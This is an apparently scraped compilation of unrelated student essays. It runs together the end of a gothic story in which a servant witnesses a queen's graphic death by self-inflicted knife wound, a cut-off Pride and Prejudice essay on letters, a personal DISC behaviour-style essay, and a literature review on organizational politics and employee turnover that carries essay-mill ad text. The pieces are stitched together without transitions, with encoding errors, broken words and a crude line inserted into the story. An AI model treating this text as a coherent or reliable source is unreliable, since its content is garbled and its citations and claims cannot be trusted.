back the serpents and place my hand on the chamber door. It is locked. I hear crying from within the room, which quietens down to a feeble murmur. I draw back and knock on the door, once, no reply, twice, silence, thrice, a blood curdling scream! Terror shoots through my veins like a galloping horse. Oh suck on my chocolate salty balls! Quickly I delve deep into my pocket and grasp my keys. Nervously I struggle to search through the brace and locate the key. Finally after what seemed like hours I set my hands on the key, and inserted it into the mortise lock. The key turned, another scream echoed through the corridor further emphasising my trepidation. I fear what lies ahead, could this be the end of my short-lived existence. I summon the curraige from the depths of my heart and continue to open the now unlocked door, the final stand lies ahead, I worry gravely but I know I must go forth. Upon opening the door I see nothing, darkness and the only thing I fear more is the light for what it may bring. Quietness now blankets the room an eerie darkness sends fear into the roots of my soul. I reach for the torch in the corner of the room, extinguished, sharing the same fate as lady Macbeth I fear. With my flint and tinderbox I strike and send a revealing light across the room. To my surprise I see the queen sat at her mirror, staring as if in a trance, vacant of reality. Preceding forward I notice makeup scattered over the floor, in a trail all the way to her seat. Looking at the mirror I see her reflection, a ruined figure with a pathetic look and makeup smudged by tears. I stop and ask myself have I the audacity to question her, I see her hurting I have reservations of whether I am insensitive enough. No, I cannot. Hoping I am unnoticed I turn, face the door and begin to walk away, regretting every stupid thought that entered my head, who am I to dispute the Queen? A mere Ill educated servant. My stupidity astounds me. I hear a sharp slicing sound from within the room, like the edge my razor, cutting the cheek as I shave in the morning, a sound that sends shivers through my spine. I turn and run towards the queen, I hear her wheezing through a self-inflicted mortal wound, leaking air, spewing blood in her throat, I hear her life escaping and quickly grasp her hand preventing her from falling from her chair. I hear her faint gargled voice trying to break through, drowning in her own blood. Tears begin to well in my eyes and a scream bursts forth from my mouth like a wolfs cry. Slowly the life in her escapes, she lies coughing, choking and I am helpless, unable to assist, I feel so worthless, where is help? For an eternity I stand with the queen dying in my arms. Blood covers the room in a viscous sheet, dark red, shining like a sheet of silk. I see the knife glinting in the dull light, blood stained on the floor, and the makeup on the queens face is ruined, ironic, what is on the outside has become what was on the inside, a broken woman. I hear footsteps, too late. As the queen draws her last breaths servants run into the room. They stand and stare at the bloody wreck of the queen and they too begin to cry, with their hands on their hearts, looking towards the floor it is obvious they are too late. Then without warning she exhales, her whole body becomes limp from head to toe, she is dead. I lift her from the chair and place her on her bed. I cannot stand to look at her pretty face stained with blood so I lift up the white sheet covering her bed and place it over her body. One of my colleagues faints and collapses on the floor, obviously overcome by the horror that fills the room. I know that eventually I must leave and give the disparaging news to my master; I fear he will not take it kindly.

Letters in Jane Austens Pride and Prejudice Essay -- Jane Austen Prid

Letters play a very important role in ‘Pride and Prejudice’. They can tie the story together because letters provide information which we would not have found out from the dialogue between the characters. We can also find out extra background information which can help with the reader’s understanding of characters, the plot and the novel in general. Letters can reveal character’s personalities and how they feel about the other characters in the novel, for example Miss Bingley’s feelings about Jane. Letters are used as a dramatic device in ‘Pride and Prejudice’ to further the plot, link the story and to inform the readers of the character’s personalities. Letters are also an extremely important part of ‘Pride and Prejudice’ because at the time when the novel was written, letters were the only way of communicating other than through word of mouth. Letters can be used to deliver good and bad news at any time. They did not have telephones so a letter would be the most appropriate way of keeping touch with friends and family. Jane and Elizabeth are two of the main characters in the novel and they write to each other frequently during their visits away from each other. The sisters share some parts of their personalities. Both are caring, loving and considerate towards other people, but Jane is extremely loving and she does not want to judge any of the other characters in the novel before she has heard the entire story. This is because she does not want to think badly of anyone. We know this from Jane’s letter to Elizabeth regarding the actions of Miss Bingley and Miss Hurst in London. ‘If I were not afraid of judging harshly, I should be almost tempted to say, that there is a strong appearance of duplicity in all thi... ...Cited Austen, Jane. Pride and Prejudice. Norwalk: The Easton Press, 2008. Internet Sources Consulted "Psychological Growth in Pride and Prejudice | MSS Research." MSS Research. MSS Research, n.d. Web. 02 May 2015. Marcus, Mordecai. â€Å"A Major Thematic Pattern in Pride and Prejudice.† Nineteenth-Century Fiction 16.2 (Dec. 1961): 274-279. JSTOR. Web. 02 May 2015. Stovel, Bruce. ‘A Contrariety of Emotion’: Jane Austen’s Ambivalent Lovers in Pride and Prejudice.† The International Fiction Review 14.1 (Winter 1987): 27-33. Literature Resource Center. Web. 02 May 2015. Weinsheimer, Joel. â€Å"Change and the Hierarchy of Marriages in Pride and Prejudice.† ELH 39.3 (Sept. 1972): 404-419. JSTOR. Web. 02 May 2015. Wiesenfarth, Joseph. â€Å"The Case of Pride and Prejudice.† Studies in the Novel 16.3 (Fall 1984): 261–73. Literature Resource Center. Web. 02 May 2015.

Assessment of the Interactive Behavior Style

According to the DISC Platinum Rule Assessment, the â€Å"Interactive† behavior style defines people who are highly focused on other people. They love being around groups and they are fond of being involved in groups. They are generally extroverts and they do not like to be alone. They love working with other people. And they are very sociable. According to the assessment, people who are â€Å"interactive† get their motivation from being around other people. Their ultimate goal is to get other people’s recognition. They want to earn applause, acceptance, and complements.If recognition from other people is not present, they will ultimately lose their interest in whatever they are doing. Their drive to strive for their goals comes from other people. Most of the time, their ultimate goal is to earn to be appreciated. As for their decision making and their lifestyles, people categorized under the â€Å"interactive† behavior are very fast paced. They do not lik e routines. They are very spontaneous. Because of their liveliness, they usually want to do a lot of things all at the same time. Even if they are still involved with one activity, they jump to another task. That is why they often end up so disorganized.Aside from disliking everyday habitual activities, interactive people also don’t like facts. They do not like details. Instead, they generalize information. They base their conclusions on â€Å"guesstimates† than on highly objective and empirical data. That is why they often exaggerate. Interactive people also work well with others. Because they are sociable, they usually tend to attract the attention of others. They also have the ability to motivate others in order to work towards a common goal that they also pursue. They are perfect for those professions and careers that require excellent rapport with other people.They should be in the field of sales, entertainment, public relations, social welfare, and the like. Appl ication of Strengths and Weaknesses Just like what the assessment states, I am optimistic. I see life as an opportunity to do various activities. I am positive and cheerful. Everyday, my greatest accomplishment seems to stem from fulfilling one or two lively activities. Even if there is really nothing to do outside, I make it a point to go out and to look for something that I can occupy myself with. I love being around other people and that is probably why I value my friends so much.I also like going to parties and other social activities. I make it a point to form new friends despite the fact that I already have many acquaintances. Whenever I go to social gatherings, I make it a point to meet a new friend. I am one of those few people that you cannot alienate even if you expose me to groups of people that I do not know. I am also persuasive and very motivating. I can easily talk my friends into doing something I believe is terrific. In addition to that, I am very enthusiastic. I th ink it is a total waste of time to be lying around and doing nothing.I love engaging in various activities, even those which I am not very familiar with. I am passionate about living life to the fullest. However, because I do love engaging in many activities, I often become careless primarily because I am often preoccupied with so many things all at the same time. This is also probably the reason why I often end up being disorganized. My initially planned schedule for the day often gets tangled with the other activities that I usually want to slip in it. Analysis of the behavior assessment The analysis seems to be quite accurate in describing the prime motivators, strengths, and weaknesses of a person.The data yielded is very useful primarily because it was very thorough in describing the assessed person. It includes the possible conflicts associated with his set of strengths and weaknesses, as well as the possible steps that can be taken to solve such conflicts. The data provided i n the assessment can largely contribute to overall self-improvement. Understanding your tendencies and gaining insight on your personality can improve rapport and communication with other people. It can predict job performance and potential leadership skills (Kierstead, 1998). It can also be used in understanding the personalities of other people.In a personal case, it can help one concentrate on his strengths while altering his weaknesses. However, it should be noted that people should not confine their identities to the discussed test results (Carey,2004). Also, I have noticed that some characteristics of a particular behavior type often overlap some of the traits of the other types. Though the delineation between the types is often very obvious in the initial description, the question of exclusivity between the characteristics can be observed in the specific details of the subtypes of the behavior assessment.Also, although the results of the assessments are quite accurate, it sho uld be noted that people should not confine their self concept with the descriptions provided by behavioral evaluation, no matter how elaborate they are. Regardless of how complete and concise the assessment results are, people should realize that the results were based on a personality evaluation taken during a certain period of time at a certain moment in a person’s life. In simple terms, it is relatively an accurate assessment of someone’s here and now.It should be noted that people are rapidly evolving beings that can radically alter their behavior and personality over time, based on the set of experiences and challenges that come their way. A person with an interactive behavior type can transform into one who has a cautious or dominant behavior after having one of those life changing experiences or major life turn points. Basically, a technical generalization of the personalities of men should not be regarded as the sole indicator of how a person should be interpr eted.It should not be sued as a basis of what kind of people should one get along with. Confining your analysis of people into four types or sixteen subtypes can greatly promote stereotyping. As such, these should not be used as the sole basis of interaction with other people. In order to ascertain the adaptability and the efficiency of this behavior evaluation, such forms of assessments should be taken regularly in order to form comprehensive and accurate concepts of one’s self.

Focus On Voluntary Turnover Business Essay - Free Essay Example

Sample details Pages: 6 Words: 1889 Downloads: 3 Date added: 2017/06/26 Category Management Essay Type Research paper Did you like this example? Shortest definition of organizational politics could be termed as unsanctioned influence attempts that seek to promote self-interest at the expense of objectives, goals and growth of an organization. Cropanzano and Grandey, in press; Drory and Romm, 1990; Ferris, Frink, Beehr and Gilmore, 1995; Ferris and Kacmar, 1992; Ferris and Judge, 1991; Ferris, Russ and Fandt, 1989; Kacmar and Ferris, 1993). Organizational politics is a subjective experience and state of mind which cannot be measured exclusively on objective state (Gandz and Murray, 1980). Don’t waste time! Our writers will create an original "Focus On Voluntary Turnover Business Essay" essay for you Create order According to Gerald R, Farris (1992) mentioned that perception of organizational politics influenced by organizational, environmental and personal factors in turn influences organizational outcomes such as job involvement, job anxiety, job satisfaction and physical and psychological withdrawal from the current working organization. Organizational politics perception also could be due to variability on job, age, sex education as well as the hierarchal level in an organization resulting impacts in job satisfaction, anxiety, employee promotions. In the same way other causes could be job environment influences (Graen, Novak and Sommerkamp, 1982), wok group cohesion (Price and Muller, 1986), span of control (Ferris, 1990), Feedback and advancement opportunities (Ferris, Frink, Galang, et al, 1996). Every organization have human resource with a different age, income, education, gender and hierarchal level, and they all respond or participate differently in the organization politics, so we can say that status level, economic conditions and personalities are effects the organizational decisions (Vigoda, 2000). Employees with a low hierarchal level think that organizational policies are the main source of unjustified decisions and employees frustration and these unfair decisions and frustration simulates negative and unhealthy attitude (Vigoda, 2000). For the top level of organizational human resource, organizational politics works as centrifugal force which pushes them to physical withdrawal and they find a new job place which they think or perceive less political. So we can clearly understand that organizational politics strongly correlated with the organization commitment. Bozeman (1996) and also depicts that this relation cab be a negative relationship. Every organization provides some rules and policies for employees who are engage in political behavior for guidance. In the organizations where these rules are not available to prescribe how to act, there are m ore chances of the occurrence of political activity. In the circumstances where rules and policies are not defined and available for the guidance of employees then circumstances allow individuals to define a situation and fit their own wants and needs. This redesign of situation is often called political behavior. (Kacmar, 1995). Ferris et al (1989) and Fandt, and Ferris (1990)found that, political behaviors are found more in the organization where uncertain conditions and ambiguity exist in work place. According to Ferris (1992) job autonomy, job variety, and feedback can be a helpful tool to reduce uncertain condition from the work place, low uncertain environment leads to reduce political activities in the organization and provide healthy space to achieve organizational goals. According to Daft, 1989. Job autonomy and low variety of tasks could be helpful factors to reduce political situation and environment. Ferris et al 1989 identified that age, gender, tenure, race play very vital role in perception of organizational politics, human resource with a different demographics sound differently in the way to organizational politics. Mintzberg (1983, 1985) identify another important factor of organization politics which is Formulization, organizations who are highly formalized, they have very less rate of organizational political activities. It is also an outcome from the research of Mintzberg (1979) which tell us political activities are lowest in highly formulized organization. According to Mintzberg (1979) he indicates that professional organizations have more political environment then other organizations. Ferris also highlighted the same points and fact in his researches that opportunities (Smith et al, 1962) also reduce the political situation or political behavior from the organization and organizational opportunities have negative relation with organizational politics and peoples involved more in politics when they see they have lesser opportun ities of growth and betterment. According to (Madison et al, 1980; Ferris and Buckley, 1990) employees performance is linked with the employees promotion and if the organizational decisions regarding promotion are fair and transparent the ratio of politics in organization at very lower level. Employees promotions is also a most essential and basic ingredient of organizational politics. Every employee in the organization have a different personality so personality traits also an important factor of organizational politics Machiavellianism. According to Cropanzano in 1997 he found that there are so many other factors of organizational politics which could be countless. In the organization where politics exists, there employees think that they are working hard and their hard work will not be rewarded properly, timely and consistently. Since Employees think that power is a key to success and more powerful employees and groups and affiliation with these groups provide more benefits to the employees. In these situations employees have options to quit or withdrawal, (Mobley, 1977) stated in his study, withdrawal process means, the process in which employee want to quit from the organization if a person dissatisfied from the organization he will be start thinking about the switching of job and think about leaving the organization. (Mobley, 1977) these withdrawals could be physical and psychological. In physical withdrawal peoples quit the organization and another one or physically withdraw their self from organization and in the case of psychological withdrawal is quit different with the physical withdrawal, in psychological withdrawal process employees mentally unable to present their self on the work place and do add any value in his or her job responsibilities and they spend lot of time in day dreaming and detracted others and also involved in non productive works. So we can infer that Psychological withdrawal positively correlated with the organizations politic es. (Ferris et al, 1993; Randall et al, 1994). Similarly as Ferris et al, 1993 also depicts that organizational politics have a positive relationship with the employees turnover intentions. This situation could be happen where employees become more isolated and do save themselves from political situations then they take a step towards turnover.(Price, 1977) Turnover means the ratio of the number of employees quit from the organization during the period and divided these employees by average number of employee in the organization during the period (Price, 1977). This research focus on voluntary turnover means turnover from the side of employees. Turnover intentions are the inclination or the attitude of the mind. If the organization noticed that the employee are having attitude of turnover the organization must find out the problem, because these problems making a mind of employees towards quitting. (Wanous, 1979). Organizational commitments, turnover intention and job satisfactio n are interlinked with each others, but according to study, organizational commitments had strong relationship with turnover intention, though the employees satisfaction are directly related with the turnover intention, unsatisfied employee always searching new and better opportunities.(Peters, Bhagat, OConnor 1981) and all kind of organizations are focusing on these problems and take it seriously to reduce the turnover ratio from their organizations (Lucas, Parasuraman, Davis Enis, 1987). Another point of view which was presented by Pfeffer (1981) about organizational politics is organizational politics can be use for the improvement of an organizations processes. Pfeffer (1981) also argued that organizational politics also helps organization in betterment of processes, execution of plan, implementation of new strategies and for running of business. Employees who are skillful in doing politics they can get maximum rewards in his professional career and get maximum benefits fro m his or her organization.(Wayne Farris, 1990). According to Pfeffer (1989) he further suggest that political focus is very much important perspective in sympathetic of career growth. He also found that lower levels of employees are highly involved in job rotation or turnover. 2.1.1.1 Impacts of Organizational Politics on Employees Physical and Psychological Health. Here it is very much important to understand the impact of perception of organization politics on the employees physical and psychological health because organizational politics creates number of problems for the organizations human resource. In this regards many researchers explore relationship between organizational politics and employees health physical or psychological. Organizations where higher level of political environment exist, it will increase or generates the level of stress in employees (Valle Perrewe, 2000) and it will also increase level of tension for the organizational human resource and this will creates anxiety anxiety (Ferris, Frink, Galang, Zhou, Kacmar, Howard 1996) job and somatic tension and level of employees energy is low in these circumstances (Cropanzano, 1997). Political environment effect overall productivity of an employee and political situations are also creates conflicts between employees and organization. Similarly tiredness and burnouts creates number of problems which are known as physical problems like headaches, backaches, lingering colds, gastrointestinal, etc (Maslach and Jackson, 1981). The basic out come of organizational politics is work stress. Work stress is subjective feeling of an employees which can be take place when employees feels that he or she do not have sufficient capabilities to perform and complete the organizational work and task and he feels he unable to achieve his or her goals and objectives. (Folkman Lazarus, 1991; Edwards, 1992). Work stress drops negative impact on the employees performance as well as organization and economy performance because these all things are inter linked with each other. Due to work stress organizations face number of costs like wastage of time, reduction in production processes, physical accidents and in the shape of lost (Ganster and Schaubroeck, 1991; Holley and Frye, 1989; Joure, Leon, Simpson, Holley and Frye, 1989; Minter, 1991; Murphy, 1988) and these all mo tives also indicates work stress and organizational politics. If employees feel or perceived, organization have political environment or politics involved in every matter of organization and also involved in decision making process of an organization then employees reports low resistant power, work tension, general health problem and negative attitude (Cropanzano, 1997). Cropanzano mentions in latest book that, organizational politics badly effects on the organizational formal decisions and politics involved in organizational formal decisions then the decisions are tend not be transparent and this non transparency pushes the employees towards turnover intention and mental withdrawal. Non transparency of decision also increase stress level of employees because employees are unable to execute their decisions as they thought and plan. Political environment and stress will also creates uncertain conditions and situations and politics and stress also involved how peoples understand un certain situations and where necessary actions can be taken for the removal of politics and come out from stress (Cropanzano, R., Li, A. in press). Some researchers describe stress, it is internal resistance power of peoples in which they under estimate their self against demands and they think these demands are exceeded from their capacities, some others researcher depicts that Politics as Stress (Dipboye Foster, 2002). Kahn and Byosiere (1992) categories the responses which will be the creation of stress, according to him there are three kind of responses or outcome of stress, physiological, psychological, and behavioral. Stress damages peoples physically in reduce their physical strength, physical outcome of stress involve, high blood pressure, high heart rates, and high cholesterol level (Fried, Rowland, Ferris, 1984) here the researcher mentioned very limited outcomes but these should be more then these. Psychological outcomes of stress involved anxiety, burnout, confusio n, depression, job dissatisfaction, health problems, and fatigue (Beehr, Walsh, Taber, 1976; Cooper Roden, 1985; Davidson Cooper, 1986; Fisher, 1985; Kobasa, 1982). At the last but not the least final outcome of stress is behavioral damages like absence at work, late arrivals, negative attitude, early going, low motivation level, low work productivity counterproductive behavior, job performance, turnover, and drug use on the job9192 (Blau, 1981; Mangione Quinn, 1975).